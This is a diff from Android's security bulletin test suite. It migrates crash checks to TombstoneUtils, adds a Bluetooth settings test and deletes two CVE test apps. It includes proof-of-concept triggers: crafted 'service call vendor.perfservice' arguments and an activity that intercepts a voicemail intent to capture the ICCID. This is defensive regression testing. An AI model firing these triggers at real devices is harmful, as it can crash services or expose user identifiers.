@Test
@AsbSecurityTest(cveBugId = 36075131)
public void testPocCVE_2017_0859() throws Exception {
- AdbUtils.runCommandLine("logcat -c", getDevice());
AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
- AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
- "-d file:///sdcard/cve_2017_0859.mp4" +
- " -t audio/amr", getDevice());
- // Wait for intent to be processed before checking logcat
- Thread.sleep(5000);
- AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("mediaserver");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+ "-d file:///sdcard/cve_2017_0859.mp4" +
+ " -t audio/amr", getDevice());
+ // Wait for intent to be processed before checking logcat
+ Thread.sleep(5000);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
index 58ed748..ceb889f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_06.java
@@ -17,9 +17,11 @@
package android.security.cts;
import static org.junit.Assert.*;
+import static org.junit.Assume.assumeTrue;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -34,13 +36,11 @@
@AsbSecurityTest(cveBugId = 148817146)
public void testPocCVE_2020_3635() throws Exception {
String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
- if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
- AdbUtils.runCommandLine("logcat -c", getDevice());
+ assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
AdbUtils.runCommandLine(
"service call vendor.perfservice 4 i32 1 i64 4702394920265069920", getDevice());
- String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(
- "Fatal signal 11 \\(SIGSEGV\\).*?>>> /system/bin/perfservice <<<", logcatOut);
}
}
@@ -77,11 +77,11 @@
@AsbSecurityTest(cveBugId = 152310294)
public void testPocCVE_2020_3676() throws Exception {
String isApplicable = AdbUtils.runCommandLine("service list", getDevice());
- if (isApplicable.contains("com.qualcomm.qti.IPerfManager")) {
- AdbUtils.runCommandLine("logcat -c", getDevice());
+ assumeTrue(isApplicable.contains("com.qualcomm.qti.IPerfManager"));
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("perfservice");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
AdbUtils.runCommandLine(
"service call vendor.perfservice 4 i32 2442302356 i64 -2", getDevice());
- AdbUtils.assertNoCrashes(getDevice(), "perfservice");
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java b/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java
new file mode 100644
index 0000000..4a0d32d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestBluetoothDiscoverable.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TestBluetoothDiscoverable extends NonRootSecurityTestCase {
+ private final String mTestPkg = "android.security.cts.TestBluetoothDiscoverable";
+ private final String mTestClass = mTestPkg + "." + "DeviceTest";
+
+ @Before
+ public void setUp() {
+ try {
+ // Install test app
+ installPackage("TestBluetoothDiscoverable.apk");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ @After
+ public void tearDown() {
+ try {
+ // Back to home screen after test
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", getDevice());
+ } catch (Exception e) {
+ // Ignore exceptions here
+ }
+ }
+
+
+ // b/228450811
+ // Vulnerable module : com.android.settings
+ // Vulnerable apk : Settings.apk
+ // Is play managed : No
+ @AsbSecurityTest(cveBugId = 228450811)
+ @Test
+ public void testPocCVE_2022_20347() {
+ try {
+ runDeviceTests(mTestPkg, mTestClass, "testConnectedDeviceDashboardFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+
+ // b/244423101
+ // Vulnerable module : com.android.settings
+ // Vulnerable apk : Settings.apk
+ // Is play managed : No
+ @AsbSecurityTest(cveBugId = 244423101)
+ @Test
+ public void testPocCVE_2023_20946() {
+ try {
+ runDeviceTests(mTestPkg, mTestClass, "testBluetoothDashboardFragment");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index 09f35c6..864f7b0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -21,8 +21,9 @@
import static org.junit.Assume.*;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import junit.framework.Assert;
@@ -119,10 +120,14 @@
@Test
@AsbSecurityTest(cveBugId = 156997193)
public void testPocCVE_2020_0409() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2020-0409";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -134,10 +139,14 @@
@Test
@AsbSecurityTest(cveBugId = 156999009)
public void testPocCVE_2020_0408() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2020-0408";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -149,10 +158,14 @@
@Test
@AsbSecurityTest(cveBugId = 161894517)
public void testPocCVE_2020_0421() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2020-0421";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -269,9 +282,13 @@
@Test
@AsbSecurityTest(cveBugId = 64340921)
public void testPocCVE_2017_0837() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns("audioserver");
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -286,9 +303,13 @@
@AsbSecurityTest(cveBugId = 62151041)
public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9047";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -300,9 +321,13 @@
@AsbSecurityTest(cveBugId = 62151041)
public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9048";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -315,9 +340,13 @@
public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9049";
String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -333,9 +362,13 @@
public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
String binaryName = "CVE-2018-9466-CVE-2017-9049";
String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -352,9 +385,13 @@
public void testPocCVE_2015_3873() throws Exception {
String inputFiles[] = {"cve_2015_3873.mp4"};
String binaryName = "CVE-2015-3873";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -497,9 +534,13 @@
assumeFalse(moduleIsPlayManaged("com.google.android.media.swcodec"));
String inputFiles[] = {"cve_2020_0451.aac"};
String binaryName = "CVE-2020-0451";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -547,10 +588,14 @@
@Test
@AsbSecurityTest(cveBugId = 120426980)
public void testPocCVE_2019_9362() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2019-9362";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
@@ -564,9 +609,13 @@
public void testPocCVE_2019_9308() throws Exception {
String inputFiles[] = {"cve_2019_9308.mp4"};
String binaryName = "CVE-2019-9308";
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
@@ -581,10 +630,14 @@
@Test
@AsbSecurityTest(cveBugId = 112662995)
public void testPocCVE_2019_9357() throws Exception {
- String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+ String signals[] = {
+ TombstoneUtils.Signals.SIGSEGV,
+ TombstoneUtils.Signals.SIGBUS,
+ TombstoneUtils.Signals.SIGABRT,
+ };
String binaryName = "CVE-2019-9357";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
deleted file mode 100644
index fadda57..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
+++ /dev/null
@@ -1,44 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.security.cts.cve_2021_0642"
- android:versionCode="1"
- android:versionName="1.0">
- <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
- <application
- android:allowBackup="true"
- android:label="CVE-2021-0642"
- android:supportsRtl="true">
-
- <activity
- android:name=".PocActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- <intent-filter>
- <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
- <category android:name="android.intent.category.DEFAULT" />
- </intent-filter>
- </activity>
- </application>
-
- <instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.cve_2021_0642" />
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
deleted file mode 100644
index 7460b96..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
+++ /dev/null
@@ -1,26 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright 2022 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-<LinearLayout
- xmlns:android="http://schemas.android.com/apk/res/android"
- android:orientation="vertical"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
- <View
- android:id="@+id/drawableview"
- android:layout_width="match_parent"
- android:layout_height="300dp" />
-</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
deleted file mode 100644
index 8fc235b..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
+++ /dev/null
@@ -1,100 +0,0 @@
-/*
- * Copyright (C) 2022 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0642;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assume.assumeNoException;
-import static org.junit.Assume.assumeTrue;
-
-import android.content.ActivityNotFoundException;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.telephony.TelephonyManager;
-
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-
-import java.util.List;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
- static final String APP_TITLE = "CVE-2021-0642";
- static final String PACKAGE_NAME = "com.android.phone";
- static final int LAUNCH_TIMEOUT_MS = 20000;
-
- @Test
- public void testCVE_2021_0642() {
- UiDevice device = UiDevice.getInstance(getInstrumentation());
- Context context = getApplicationContext();
- assertThat(context, notNullValue());
- PackageManager packageManager = context.getPackageManager();
- assertThat(packageManager, notNullValue());
- assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
- final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
- intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try {
- context.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException(e);
- }
-
- // Check if "com.android.phone" exists on the system
- try {
- packageManager.getPackageUid(PACKAGE_NAME, 0);
- } catch (PackageManager.NameNotFoundException e) {
- assumeNoException(e);
- }
-
- // Wait for activity (which is part of package "com.android.phone") that
- // handles ACTION_CONFIGURE_VOICEMAIL to get launched
- boolean isVoicemailVisible =
- device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
-
- // To check if PocActivity was launched
- BySelector selector = By.enabled(true);
- List<UiObject2> objects = device.findObjects(selector);
- boolean isPocActivityVisible = false;
- for (UiObject2 o : objects) {
- String visibleText = o.getText();
- if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
- isPocActivityVisible = true;
- break;
- }
- }
- device.pressHome();
-
- assumeTrue(isVoicemailVisible || isPocActivityVisible);
-
- String outputMsg = "Device is vulnerable to b/185126149 "
- + "hence sensitive Iccid could be sniffed by intercepting "
- + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
- assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
- }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
deleted file mode 100644
index 94c8275..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/Android.bp
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at:
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-android_test_helper_app {
- name: "CVE-2021-0685",
- defaults: ["cts_support_defaults"],
- srcs: ["src/**/*.java"],
- test_suites: [
- "cts",
- "vts10",
- "sts",
- ],
- static_libs: [
- "androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- "androidx.test.core",
- ],
- sdk_version: "current",
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
deleted file mode 100644
index f508468..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- package="android.security.cts.cve_2021_0685"
- android:targetSandboxVersion="2"
- android:versionCode="1"
- android:versionName="1.0">
-
- <application
- android:allowBackup="true"
- android:label="CVE-2021-0685"
- android:supportsRtl="true">
- <uses-library android:name="android.test.runner" />
- <activity android:name=".PocActivity"
- android:taskAffinity="android.security.cts.cve_2021_0685.PocActivity"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
-
- <service android:exported="true" android:name=".PocAuthService">
- <intent-filter>
- <action android:name="android.accounts.AccountAuthenticator" />
- </intent-filter>
- <meta-data
- android:name="android.accounts.AccountAuthenticator"
- android:resource="@xml/authenticator" />
- </service>
- </application>
-
- <instrumentation
- android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.cve_2021_0685" />
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
deleted file mode 100644
index 0c5065c..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- Copyright 2021 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
- -->
-<LinearLayout
- xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:app="http://schemas.android.com/apk/res-auto"
- xmlns:tools="http://schemas.android.com/tools"
- android:orientation="vertical"
- android:id="@+id/parent"
- android:background="#FFFFFF"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
- <View
- android:id="@+id/drawableview"
- android:layout_width="match_parent"
- android:layout_height="300dp" />
-</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
deleted file mode 100644
index f5f29ed..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
- private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
- private static final int LAUNCH_TIMEOUT_MS = 20000;
- private UiDevice mDevice;
-
- @Before
- public void startMainActivityFromHomeScreen() {
- mDevice = UiDevice.getInstance(getInstrumentation());
- try {
- mDevice.wakeUp();
- mDevice.pressMenu();
- mDevice.pressHome();
- } catch (Exception e) {
- throw new RuntimeException("Could not wake up the phone", e);
- }
- Context context = getApplicationContext();
- assertNotNull(context);
- PackageManager packageManager = context.getPackageManager();
- assertNotNull(packageManager);
- final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
- assertNotNull(intent);
- intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
